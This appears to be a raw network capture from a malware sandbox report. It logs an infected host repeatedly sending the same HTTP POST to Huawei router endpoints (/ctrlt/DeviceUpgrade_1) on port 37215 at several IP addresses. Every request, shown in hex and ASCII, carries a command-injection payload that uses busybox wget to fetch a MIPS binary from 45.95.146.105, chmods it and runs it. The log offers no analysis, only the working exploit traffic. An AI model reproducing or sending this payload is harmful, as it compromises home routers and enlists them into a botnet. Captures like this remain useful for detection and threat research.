Jan 1, 2024 12:53:28.316560030 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:17.472552061 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	57890	92.95.231.79	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:45.258388042 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:48.380738974 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:54.524571896 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:06.556670904 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:32.412575006 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:21.564527988 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	46400	94.121.149.145	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:45.782938957 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	38470	156.241.9.142	37215

Timestamp	Bytes transferred	Direction	Data
